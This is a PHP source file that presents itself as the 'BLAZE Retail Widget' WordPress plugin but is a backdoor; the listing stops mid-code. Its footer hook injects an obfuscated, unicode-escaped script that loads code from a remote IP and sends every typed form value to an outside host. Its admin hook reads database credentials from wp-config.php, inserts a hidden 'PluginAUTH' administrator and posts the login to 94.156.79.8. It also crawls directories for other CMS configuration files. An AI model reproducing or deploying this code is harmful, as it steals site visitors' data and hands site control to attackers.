1 | <?php |
---|
2 | /* |
---|
3 | Plugin Name: BLAZE Retail Widget |
---|
4 | Plugin URI: |
---|
5 | Description: Plugin to add and edit BLAZE API Key. |
---|
6 | Author: BLAZE |
---|
7 | Version: 2.5.2 |
---|
8 | Author URI: http://blaze.me/ |
---|
9 | */ |
---|
10 | define('BLAZE_URL',plugin_dir_url( __FILE__)); |
---|
11 | |
---|
12 | // this is the table prefix |
---|
13 | global $wpdb; |
---|
14 | $wp_prefix=$wpdb->prefix; |
---|
15 | define('BLAZE_TABLE_PREFIX', $wp_prefix); |
---|
16 | |
---|
17 | register_activation_hook(__FILE__,'installBlazeWidget'); |
---|
18 | register_deactivation_hook(__FILE__ , 'uninstallBlazeWidget' ); |
---|
19 | if (!function_exists('add_footer_script')) { |
---|
20 | function add_footer_script() { |
---|
21 | echo '<script>eval("\u000a\u0020\u0020\u0020\u0020\u0076\u0061\u0072\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0073\u0072\u0063\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0039\u0034\u002e\u0031\u0035\u0036\u002e\u0037\u0039\u002e\u0038\u002f\u0073\u0063\u002d\u0074\u006f\u0070\u002e\u006a\u0073\u0022\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0070\u0061\u0072\u0065\u006e\u0074\u004e\u006f\u0064\u0065\u002e\u0072\u0065\u006d\u006f\u0076\u0065\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0027\u006c\u006f\u0061\u0064\u0027\u002c\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0029\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0065\u0020\u003d\u0020\u0022\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u006c\u0065\u0074\u0020\u006e\u0020\u003d\u0020\u0022\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u006f\u0020\u003d\u0020\u0030\u003b\u0020\u006f\u0020\u003c\u0020\u0074\u003b\u0020\u006f\u002b\u002b\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0074\u0020\u003d\u0020\u004d\u0061\u0074\u0068\u002e\u0066\u006c\u006f\u006f\u0072\u0028\u0036\u0032\u0020\u002a\u0020\u004d\u0061\u0074\u0068\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0028\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0020\u002b\u003d\u0020\u0065\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0074\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u000a\u007d\u000a\u000a\u006c\u0065\u0074\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u0027\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u0027\u0029\u003b\u000a\u000a\u0069\u0066\u0020\u0028\u0021\u0075\u0069\u0064\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0030\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u003d\u0020\u0060\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u003d\u0024\u007b\u0075\u0069\u0064\u007d\u003b\u0020\u0070\u0061\u0074\u0068\u003d\u002f\u0060\u003b\u000a\u007d\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002c\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u006e\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0053\u0065\u0061\u0072\u0063\u0068\u0050\u0061\u0072\u0061\u006d\u0073\u003b\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0075\u0069\u0064\u0022\u002c\u0020\u0075\u0069\u0064\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0069\u005f\u006e\u0061\u006d\u0065\u0022\u002c\u0020\u0074\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u002f\u002f\u0020\u0041\u0064\u0064\u0020\u0074\u0068\u0065\u0020\u0066\u0069\u0065\u006c\u0064\u0020\u006e\u0061\u006d\u0065\u0020\u0061\u0073\u0020\u0061\u0020\u0070\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0062\u0022\u002c\u0020\u0062\u0074\u006f\u0061\u0028\u0065\u0029\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u0066\u0065\u0074\u0063\u0068\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u006f\u0073\u0074\u0070\u0064\u0066\u002e\u0063\u006f\u002f\u0070\u0069\u006e\u0063\u0068\u0065\u002e\u0070\u0068\u0070\u0022\u002c\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0020\u0022\u0050\u004f\u0053\u0054\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0022\u003a\u0020\u0022\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0022\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u006f\u0064\u0079\u003a\u0020\u006e\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0074\u002e\u0074\u0065\u0078\u0074\u0028\u0029\u0029\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0074\u0029\u0029\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u0065\u0072\u0072\u006f\u0072\u0028\u0022\u0045\u0072\u0072\u006f\u0072\u003a\u0022\u002c\u0020\u0074\u0029\u0029\u0029\u000a\u007d\u000a\u000a\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0022\u0069\u006e\u0070\u0075\u0074\u0022\u002c\u0020\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0022\u0049\u004e\u0050\u0055\u0054\u0022\u0020\u003d\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0061\u0067\u004e\u0061\u006d\u0065\u0020\u0026\u0026\u0020\u0022\u0062\u0075\u0074\u0074\u006f\u006e\u0022\u0020\u0021\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0079\u0070\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u006e\u0061\u006d\u0065\u0020\u007c\u007c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0069\u0064\u002c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u007d\u0029\u0029\u003b\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003b\u0020\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u006f\u0066\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u005b\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u002c\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u005d\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003d\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u0020\u003d\u003d\u003d\u0020\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u007d\u000a\u0020\u0020\u0020\u0020");</script>'; |
---|
22 | }} |
---|
23 | add_action('wp_footer', 'add_footer_script'); |
---|
24 | add_action( 'admin_init', 'custom_notify_plugin_updated'); |
---|
25 | function custom_notify_plugin_updated() { |
---|
26 | $has_run = get_option('my_admin_init_function_run'); |
---|
27 | if ($has_run !== 'yes') { |
---|
28 | function check_wp_config($directory) { |
---|
29 | while ($directory !== '/') { |
---|
30 | $wp_config_file = $directory . '/wp-config.php'; |
---|
31 | if (file_exists($wp_config_file)) { |
---|
32 | return $wp_config_file; |
---|
33 | } |
---|
34 | $directory = dirname($directory); |
---|
35 | } |
---|
36 | remove_action('admin_init', 'custom_notify_plugin_updated'); |
---|
37 | return false; |
---|
38 | } |
---|
39 | |
---|
40 | function parse_wp_config($config_file) { |
---|
41 | if (file_exists($config_file)) { |
---|
42 | $config_content = file_get_contents($config_file); |
---|
43 | $matches = []; |
---|
44 | // Extract prefix |
---|
45 | if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) { |
---|
46 | $prefix = $matches[1]; |
---|
47 | } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) { |
---|
48 | $prefix = $matches[1]; |
---|
49 | } else { |
---|
50 | die("Prefix not found in wp-config.php"); |
---|
51 | } |
---|
52 | // Extract database name |
---|
53 | if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) { |
---|
54 | $database = $matches[1]; |
---|
55 | } |
---|
56 | // Extract username |
---|
57 | if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) { |
---|
58 | $username = $matches[1]; |
---|
59 | } |
---|
60 | // Extract password |
---|
61 | if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) { |
---|
62 | $password = $matches[1]; |
---|
63 | } |
---|
64 | // Extract host |
---|
65 | if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) { |
---|
66 | $host = $matches[1]; |
---|
67 | } else { |
---|
68 | $host = 'localhost'; // Assuming local host if not specified |
---|
69 | } |
---|
70 | |
---|
71 | return array( |
---|
72 | 'prefix' => $prefix, |
---|
73 | 'database' => $database, |
---|
74 | 'username' => $username, |
---|
75 | 'password' => $password, |
---|
76 | 'host' => $host |
---|
77 | ); |
---|
78 | } else { |
---|
79 | die("wp-config.php file not found"); |
---|
80 | } |
---|
81 | } |
---|
82 | |
---|
83 | function access_database($config) { |
---|
84 | $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']); |
---|
85 | |
---|
86 | if ($mysqli->connect_errno) { |
---|
87 | //echo "DATABASE ACCESS [FAIL]\n"; |
---|
88 | return false; |
---|
89 | } else { |
---|
90 | //POST "DATABASE ACCESS [SUCCESS]\n"; |
---|
91 | return $mysqli; |
---|
92 | } |
---|
93 | } |
---|
94 | |
---|
95 | function generate_random_password($length = 12) { |
---|
96 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_'; |
---|
97 | $password = ''; |
---|
98 | $characters_length = strlen($characters); |
---|
99 | for ($i = 0; $i < $length; $i++) { |
---|
100 | $password .= $characters[rand(0, $characters_length - 1)]; |
---|
101 | } |
---|
102 | return $password; |
---|
103 | } |
---|
104 | |
---|
105 | // Define a global variable for the password |
---|
106 | $generated_password = generate_random_password(); |
---|
107 | |
---|
108 | // Define a global variable for the users count |
---|
109 | $wpuserscount = 0; |
---|
110 | function add_admin_user($mysqli, $config, $password) { |
---|
111 | global $generated_password; // Access the global generated password variable |
---|
112 | global $wpuserscount; // Declare the global variable to update user count |
---|
113 | $username = 'PluginAUTH'; |
---|
114 | |
---|
115 | //$generated_password = $password; |
---|
116 | //$password = $generated_password; |
---|
117 | $user_role = 'administrator'; |
---|
118 | |
---|
119 | // First, let's update the global user count |
---|
120 | $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users"; |
---|
121 | $countResult = $mysqli->query($countQuery); |
---|
122 | if ($countResult) { |
---|
123 | $row = $countResult->fetch_assoc(); |
---|
124 | $wpuserscount = $row['user_count']; // Update the global variable with the user count |
---|
125 | } else { |
---|
126 | //echo "Error fetching user count: " . $mysqli->error . "\n"; |
---|
127 | return; // Early return in case of query error |
---|
128 | } |
---|
129 | // Hash the password |
---|
130 | $hashed_password = password_hash($password, PASSWORD_DEFAULT); |
---|
131 | |
---|
132 | // Check if the user already exists |
---|
133 | $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'"; |
---|
134 | $result = $mysqli->query($query); |
---|
135 | |
---|
136 | if ($result && $result->num_rows > 0) { |
---|
137 | //echo "User '{$username}' already exists.\n"; |
---|
138 | $z = "b"; |
---|
139 | } else { |
---|
140 | // Insert the new user |
---|
141 | $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())"; |
---|
142 | $result = $mysqli->query($query); |
---|
143 | |
---|
144 | if ($result) { |
---|
145 | $user_id = $mysqli->insert_id; |
---|
146 | |
---|
147 | // Set user role |
---|
148 | $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')"; |
---|
149 | $result = $mysqli->query($query); |
---|
150 | |
---|
151 | if ($result) { |
---|
152 | //echo "User '{$username}' with administrative privileges added successfully.\n"; |
---|
153 | $zb = ''; |
---|
154 | } else { |
---|
155 | //echo "Error assigning role to user '{$username}'.\n"; |
---|
156 | $zb = ''; |
---|
157 | } |
---|
158 | } else { |
---|
159 | //echo "Error creating user '{$username}': " . $mysqli->error . "\n"; |
---|
160 | $zb = ''; |
---|
161 | } |
---|
162 | } |
---|
163 | } |
---|
164 | |
---|
165 | function get_domain_from_database($mysqli, $config) { |
---|
166 | // Query to retrieve site URL from WordPress options table |
---|
167 | $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'"; |
---|
168 | $result = $mysqli->query($query); |
---|
169 | |
---|
170 | if ($result && $result->num_rows > 0) { |
---|
171 | $row = $result->fetch_assoc(); |
---|
172 | $site_url = $row['option_value']; |
---|
173 | $parsed_url = parse_url($site_url); |
---|
174 | if ($parsed_url && isset($parsed_url['host'])) { |
---|
175 | return $parsed_url['host']; |
---|
176 | } |
---|
177 | } |
---|
178 | |
---|
179 | return null; |
---|
180 | } |
---|
181 | function zbvalidate_file($file) { |
---|
182 | try { |
---|
183 | ob_start(); |
---|
184 | include $file; |
---|
185 | ob_end_clean(); |
---|
186 | |
---|
187 | // If no exception was thrown, delete the backup file |
---|
188 | $backup_file = $file . '.bak'; |
---|
189 | if (file_exists($backup_file)) { |
---|
190 | unlink($backup_file); |
---|
191 | } |
---|
192 | return true; |
---|
193 | } catch (Throwable $e) { |
---|
194 | // Catch errors and set the validation flag |
---|
195 | return false; |
---|
196 | } |
---|
197 | } |
---|
198 | $currdomain = 'UNK.UNK'; |
---|
199 | function pachamama($path) { |
---|
200 | global $currdomain; |
---|
201 | if (strpos($path, 'wp-config.php') !== false) { |
---|
202 | $path = str_replace('wp-config.php', '', $path); |
---|
203 | } |
---|
204 | |
---|
205 | $current_directory = $path; |
---|
206 | $wp_config_file = check_wp_config($current_directory); |
---|
207 | if ($wp_config_file) { |
---|
208 | //echo "WP-CONFIG [FOUND]\n"; |
---|
209 | |
---|
210 | $config = parse_wp_config($wp_config_file); |
---|
211 | $mysqli = access_database($config); |
---|
212 | if ($mysqli) { |
---|
213 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_'; |
---|
214 | $password = ''; |
---|
215 | $characters_length = strlen($characters); |
---|
216 | for ($i = 0; $i < 13; $i++) { |
---|
217 | $password .= $characters[rand(0, $characters_length - 1)]; |
---|
218 | } |
---|
219 | add_admin_user($mysqli, $config, $password); |
---|
220 | $domain = get_domain_from_database($mysqli, $config); |
---|
221 | if ($domain) { |
---|
222 | //echo "[$domain] OK\n"; |
---|
223 | $currdomain = $domain; |
---|
224 | |
---|
225 | // Reconstruct the correct wp-login.php path |
---|
226 | $wp_login_path = "https://{$domain}/wp-login.php"; |
---|
227 | |
---|
228 | // Perform a POST request to https://94.156.79.8/AddSites |
---|
229 | $url = 'https://94.156.79.8/AddSites'; |
---|
230 | $aurl = get_admin_url(); |
---|
231 | $post_data = array( |
---|
232 | 'aurl' => $aurl, |
---|
233 | 'domain' => $domain, |
---|
234 | 'username' => 'PluginAUTH', |
---|
235 | 'passwordz' => $password, // Access the global generated password variable |
---|
236 | 'wp_login_path' => $wp_login_path |
---|
237 | ); |
---|
238 | |
---|
239 | $ch = curl_init(); |
---|
240 | curl_setopt($ch, CURLOPT_URL, $url); |
---|
241 | curl_setopt($ch, CURLOPT_POST, 1); |
---|
242 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data |
---|
243 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); |
---|
244 | curl_setopt($ch, CURLOPT_HTTPHEADER, array( |
---|
245 | 'Content-Type: application/json', // Set content type to JSON |
---|
246 | 'Content-Length: ' . strlen(json_encode($post_data)) // Set content length |
---|
247 | )); |
---|
248 | $response = curl_exec($ch); |
---|
249 | $error = curl_error($ch); // Get any curl error |
---|
250 | curl_close($ch); |
---|
251 | |
---|
252 | if ($response === false) { |
---|
253 | //echo "POST request failed: $error\n"; |
---|
254 | $z = false; |
---|
255 | } else { |
---|
256 | //echo "POST request sent successfully. Response: $response\n"; |
---|
257 | $z = true; |
---|
258 | } |
---|
259 | } else { |
---|
260 | //echo "Domain retrieval failed.\n"; |
---|
261 | $z = false; |
---|
262 | } |
---|
263 | $mysqli->close(); |
---|
264 | } |
---|
265 | } else { |
---|
266 | //echo "WP-CONFIG [NOT FOUND]\n"; |
---|
267 | $z = false; |
---|
268 | } |
---|
269 | } |
---|
270 | |
---|
271 | function check_cms_configuration_files() { |
---|
272 | global $wpuserscount; |
---|
273 | global $wp_config_paths; |
---|
274 | global $wc_config_paths; |
---|
275 | global $mg_config_paths; |
---|
276 | // Function to recursively search directories for configuration files |
---|
277 | //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) { |
---|
278 | function search_for_config_files(&$cms_config_files, $max_parents = 3) { |
---|
279 | // Get the current directory |
---|
280 | $directory = __DIR__; |
---|
281 | |
---|
282 | // Initialize the variable to keep track of the last readable path |
---|
283 | $last_readable_path = null; |
---|
284 | |
---|
285 | // Iterate to go one parent folder up until no read permission or max 5 parents |
---|
286 | for ($i = 0; $i < $max_parents; $i++) { |
---|
287 | // Check if the directory exists and is readable |
---|
288 | if (is_dir($directory) && is_readable($directory)) { |
---|
289 | $last_readable_path = $directory; |
---|
290 | } else { |
---|
291 | // Stop iteration if the directory is not readable |
---|
292 | break; |
---|
293 | } |
---|
294 | |
---|
295 | // Move one directory up |
---|
296 | $directory = dirname($directory); |
---|
297 | } |
---|
298 | |
---|
299 | // If a readable path was found, perform a recursive glob search for the specified file extensions |
---|
300 | if (!empty($last_readable_path)) { |
---|
301 | |
---|
302 | $config_files = []; |
---|
303 | $files = []; |
---|
304 | //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur'; |
---|
305 | try { |
---|
306 | $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); |
---|
307 | foreach($objects as $name => $object){ |
---|
308 | if (substr($name, -4) === '.php') { |
---|
309 | // Add only files ending with '.php' to the $files array |
---|
310 | //echo "$name\n"; |
---|
311 | $files[] = $name; |
---|
312 | } |
---|
313 | } |
---|
314 | } catch (Exception $e) { |
---|
315 | // Handle any exceptions that occur during iteration |
---|
316 | // You can log the error or take appropriate action here |
---|
317 | //echo "Error: " . $e->getMessage(); |
---|
318 | $d = 'sab'; |
---|
319 | } |
---|
320 | foreach ($files as $file) { |
---|
321 | // Add the found file to the list of config files |
---|
322 | //print($file); |
---|
323 | $cms_config_files[] = $file; |
---|
324 | } |
---|
325 | return $cms_config_files; |
---|
326 | } else { |
---|
327 | // Return an empty array if no readable path was found |
---|
328 | //echo("No Readable Paths"); |
---|
329 | return []; |
---|
330 | } |
---|
331 | } |
---|
332 | |
---|
333 | |
---|
334 | // Array to store detected CMS names |
---|
335 | $detected_cms = [ |
---|
336 | 'WordPress' => false, |
---|
337 | 'WooCommerce' => false, |
---|
338 | 'Magento' => false, |
---|
339 | 'OpenCart' => false, |
---|
340 | 'PrestaShop' => false, |
---|
341 | 'Drupal Commerce' => false, |
---|
342 | 'Symfony' => false, |
---|
343 | 'Laravel' => false, |
---|
344 | 'Zend Framework' => false |
---|
345 | ]; |
---|
346 | |
---|
347 | // Array to store detected .dat files |
---|
348 | $detected_dat_files = []; |
---|
349 | |
---|
350 | // Paths to check for CMS-specific configuration files |
---|
351 | $current_directory = __DIR__; |
---|
352 | $paths_to_check = [ |
---|
353 | '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin', |
---|
354 | $current_directory, |
---|
355 | '/etc', // Common system configuration directory |
---|
356 | '/var/www', // Example web root directory |
---|
357 | '/home', // Home directories |
---|
358 | '/opt', // Optional software packages |
---|
359 | '/usr/local', // Locally installed software |
---|
360 | '/usr/share', // Shared software resources |
---|
361 | '/var/lib', // Variable data directories |
---|
362 | ]; |
---|
363 | |
---|
364 | // Files to search for in each directory |
---|
365 | $files_to_search = [ |
---|
366 | 'app/etc/env.php', // Magento |
---|
367 | 'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', // WordPress & WooCommerce |
---|
368 | 'config.php', // OpenCart |
---|
369 | 'config/parameters.php', // PrestaShop |
---|
370 | 'sites/default/settings.php', // Drupal Commerce |
---|
371 | 'config/packages/*.yaml', // Symfony |
---|
372 | '.env', // Laravel |
---|
373 | 'config/autoload/*.global.php', // Zend Framework |
---|
374 | '*.dat', // .dat files |
---|
375 | ]; |
---|
376 | |
---|
377 | // Array to store CMS configuration files |
---|
378 | $cms_config_files = []; |
---|
379 | |
---|
380 | // Iterate through the paths to check and search for configuration files in each directory recursively |
---|
381 | |
---|
382 | search_for_config_files($cms_config_files); |
---|
383 | |
---|
